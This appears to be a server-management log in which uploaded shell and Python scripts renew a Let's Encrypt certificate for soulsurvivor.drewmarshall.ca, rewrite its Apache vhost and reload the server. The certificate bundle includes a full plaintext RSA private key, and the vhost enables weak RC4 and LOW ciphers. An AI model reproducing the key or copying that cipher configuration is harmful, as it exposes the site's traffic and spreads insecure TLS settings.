/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-05 06:00:13: Establishing a connection
2025-11-05 06:00:13: Establishing a connection
2025-11-05 06:00:14:
PUT: /tmp/pkp277151
#!/bin/bash
if [ -d "/var/www/drewmarshall_soulsurvivor/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-05 06:00:14:
chmod 755 /tmp/pkp277151; /tmp/pkp277151; rm /tmp/pkp277151
2025-11-05 06:00:14:
1
2025-11-05 06:00:14: Establishing a connection
2025-11-05 06:00:14:
PUT: /tmp/pkp586363
#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cat > 4qSHUs7wjUsXqkmCmqf2H5V7cfTzGuEy-nmuGln3YnI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
4qSHUs7wjUsXqkmCmqf2H5V7cfTzGuEy-nmuGln3YnI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 4qSHUs7wjUsXqkmCmqf2H5V7cfTzGuEy-nmuGln3YnI
2025-11-05 06:00:14:
chmod 755 /tmp/pkp586363; /tmp/pkp586363; rm /tmp/pkp586363
2025-11-05 06:00:14:
2025-11-05 06:00:22: Establishing a connection
2025-11-05 06:00:22:
PUT: /tmp/pkp887395
#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
rm 4qSHUs7wjUsXqkmCmqf2H5V7cfTzGuEy-nmuGln3YnI
2025-11-05 06:00:22:
chmod 755 /tmp/pkp887395; /tmp/pkp887395; rm /tmp/pkp887395
2025-11-05 06:00:22:
2025-11-05 06:00:22: Establishing a connection
2025-11-05 06:00:22:
PUT: /tmp/pkp730294
#!/bin/bash
temp_file=$(mktemp)
TARGET=d7b28d3c1e1bd0c8221fd57011c5053a.crt
cat > $temp_file <<'endmsg'
8d:3d:23:9f:b0:68:77:af:b8:57:f4:60:50:73:91:58
-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBr8bBZFQkODvD4ZNh+toq5ruMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTA1MDUwMTQ5WhcNMjYwMjAzMDUwMTQ4WjAnMSUwIwYDVQQD
Exxzb3Vsc3Vydml2b3IuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAzHp0ySoLfzsIpWOUQOQtmXPdthQ63pPiL89YNpWHc5gS
nTUF1gyMqWU0tdmG5olCmyNR3/5Jhvp+zuQBqGDintOEwfgjq8BCz1EPaXKMX9ZX
A6ycnSieNlIdf5ynKjjqoOahSsVrvvGp/urmd4ibhH36PDa6d3SM4R7mhmGufXHL
7feTuv4/wkU0hK8DQazRgf2lPD44Gg2pMkBRnO9lzw4ML+FJf9CKtvhY4nx4iCfv
XzO386LiBoLkOT95PCPqM9Cm8xjZnKFDaisxXwlsktL2ESmdtuNr6Pp+wh1e3eeA
eo2Zu8K20Z/Zo1PKhQSh1iumMC8a+c9sp0yCasPjOQIDAQABo4ICLjCCAiowDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBQ6ujxPylAnFVvDGLaJi6TVfC05xDAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHNvdWxz
dXJ2aXZvci5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYD
VR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMTEuY3JsMIIB
BQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2
bkakPw/KqcYAAAGaUpoQQAAABAMASDBGAiEA95TXwtfp0hGFxJjpuZFUo+GygDxC
CFDlZS9ve2rSO20CIQDRgA+03NnSlLjpJlthZtA1OhWnKYHtM5W73hztgbxzpQB2
AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmlKaF8IAAAQDAEcw
RQIgDQnchpaxPamnPzOvMF+UW7vxlcfxsv9USaVoQ6QjzR4CIQDDLdSJFU4cR83i
pji8b1RSLQ9OpYJhnrm19G+TbYcs0jANBgkqhkiG9w0BAQsFAAOCAQEABOHWkeT/
ZrgZw5Rt0QSy+/X7w0P8I9niH2LBIMFO4+g4BQDZqgbDHxwhWR32Vli7VnEGcq/k
XtqrAgCzxlXavmnKYmu5CfMi6MGYBlxRnUzM/sFw/GNUkGbIUH2DeK4aCO5LMFIR
XWwJ+u6SS3o3RhIhvG/YVMlpxXrzX3TQ5USDLPdSYCC+ytYWlTHgDBa7HgIlvQgw
Top1Lu+g8cGbJJp7WBqFHGkSWJyXU/FPpL1NETtlPagi/QaIyK3tXSmuRQ30RsRw
Gb5OTZETs2V5WKDj9xza8aJW+5hZfGmGuy2YWIUK+JDfLMWWPNo1/ReR9NF6/y65
BEs71iL9J434oA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDMenTJKgt/Owil
Y5RA5C2Zc922FDrek+Ivz1g2lYdzmBKdNQXWDIypZTS12YbmiUKbI1Hf/kmG+n7O
5AGoYOKe04TB+COrwELPUQ9pcoxf1lcDrJydKJ42Uh1/nKcqOOqg5qFKxWu+8an+
6uZ3iJuEffo8Nrp3dIzhHuaGYa59ccvt95O6/j/CRTSErwNBrNGB/aU8PjgaDaky
QFGc72XPDgwv4Ul/0Iq2+FjifHiIJ+9fM7fzouIGguQ5P3k8I+oz0KbzGNmcoUNq
KzFfCWyS0vYRKZ2242vo+n7CHV7d54B6jZm7wrbRn9mjU8qFBKHWK6YwLxr5z2yn
TIJqw+M5AgMBAAECggEBAJih7/sZP2vBjTqnkkq+CKu7KYx4nVj32qcFhzt3cpx+
r6ZZpfmZdIYd3bLApUoAu49CViN1lT0ETxPwbqxZZdBY44hGyZmy8iv+vhpgPxhq
zpkXh/BoGXFC6nIPZVjHE5z3iv5dT4hArDx064PenPfRcbDwyU/R2DdS8ZDt6WoI
6ULu/d/ufqWvLBEygY47wV6kjj4lg9vJbzhPJOAoypKl+zBrZKGgdCAP/VV/43CJ
b5UuG7rf+X/GWUN/arwY3BxM6w9y9dKmuC9mdA2LCrisApnZuDXfxzoZcWLpKEne
GPIQyP/C9iaI0jSn88A1oOy83Qk6yqBcjG108MX8YWECgYEA9odbu6AmnAF2jqKs
xBBPF/nzULLrfXVXql4RDiVQ409EZIUdxBUsZ93e5QvHJnPeLUcb4UMcsRteztab
0VbDMaMdQQRm4AxoSG6kWpEQZczygXyG0MXfBPXMN+BDQSqFlBsxXheK4eBPegk+
cjBClXwI3PZJYawWByRigEtRvIsCgYEA1FWG3a2t6I5fR6T6Z2DwIEuu1MtdhQIq
h6HUmatgKNmKs9Do1nCEdOY5KEluUFxPnllp2JF7vnaCBYJTtE+xuivCuU2co2tQ
/uLADKm5GSx+JBY5oHEfNeALmFPLEevIOZHBfJHxzcao3uHpQoTaUtbRuj+s74sP
RuXqemIxQ8sCgYEA60+6PLYaBFDVNEKMO70BcfZPzBhr9N17Zw/Qobr2oXG462Ww
SsiXETFTHzeFyOtSB8/XCcYAbgCdFzr7ke6J9CgotTWZaIQPSgvp7tSGXVUpqHUP
TdmBDX/8hN0X9Oy8gekOzywTkZSE6AxIwb/U3lB9OUQQOR2EDR8qsiCyjQ8CgYEA
yP6Q5MTkS7CBptsXocZUZ+3ceFhtlVugkLVy/2gHZYPP1TlbPqpR6CqKToV8JBvN
zlJLbJMCtR+PItHklFmgHmAQOsKqFNOgXzabnyEGMzs3yMc1E5gheCk2MKKZJsSv
yzcbFeU9JJH6BsmIucvystngu9JMzJAxDObVF7ZddhMCgYEAuQDV2q95yysDj2p1
iX1wPy0RPs3DcC5gl1kXHnVWAYpX/2744NlrnW6o4nRvaxhIgZbfsGuxClTGOvIs
UlJjclCVJSlk/QxUEmy5jOg5mE0WgQHtx8k4I5ij7LDqVGSX2f2AfqBfGgjesfo9
ahgPEQXrfe7iwhuhgVGmvebWDTY=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-05 06:00:22:
chmod 755 /tmp/pkp730294; /tmp/pkp730294; rm /tmp/pkp730294
2025-11-05 06:00:22:
dir=/etc/ssl/certs
2025-11-05 06:00:22:
PUT: /tmp/pkp359921
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-05 06:00:22:
chmod 755 /tmp/pkp359921; /tmp/pkp359921; rm /tmp/pkp359921
2025-11-05 06:00:22:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf 52
<VirtualHost *:80>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-05 06:00:22:
PUT: /tmp/pkp858412
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_soulsurvivor_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf= 1'
fi
2025-11-05 06:00:22:
chmod 755 /tmp/pkp858412; /tmp/pkp858412; rm /tmp/pkp858412
2025-11-05 06:00:22:
2025-11-05 06:00:22:
PUT: /tmp/pkp254501
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-05 06:00:22:
chmod 755 /tmp/pkp254501; /tmp/pkp254501; rm /tmp/pkp254501
2025-11-05 06:00:22:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-05 06:00:22: Establishing a connection
2025-11-05 06:00:23:
PUT: /tmp/pkp694372
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-05 06:00:23:
chmod 755 /tmp/pkp694372; /tmp/pkp694372; rm /tmp/pkp694372
2025-11-05 06:00:23:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-05 06:00:23:
PUT: /tmp/pkp699096
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-05 06:00:23:
chmod 755 /tmp/pkp699096; /tmp/pkp699096; rm /tmp/pkp699096
2025-11-05 06:00:23:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf 1429
<VirtualHost *:80>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-05 06:00:23:
PUT: /tmp/pkp845671
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-05 06:00:23:
chmod 755 /tmp/pkp845671; /tmp/pkp845671; rm /tmp/pkp845671
2025-11-05 06:00:23:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt 5393
8d:3d:23:9f:b0:68:77:af:b8:57:f4:60:50:73:91:58
-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBr8bBZFQkODvD4ZNh+toq5ruMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTA1MDUwMTQ5WhcNMjYwMjAzMDUwMTQ4WjAnMSUwIwYDVQQD
Exxzb3Vsc3Vydml2b3IuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAzHp0ySoLfzsIpWOUQOQtmXPdthQ63pPiL89YNpWHc5gS
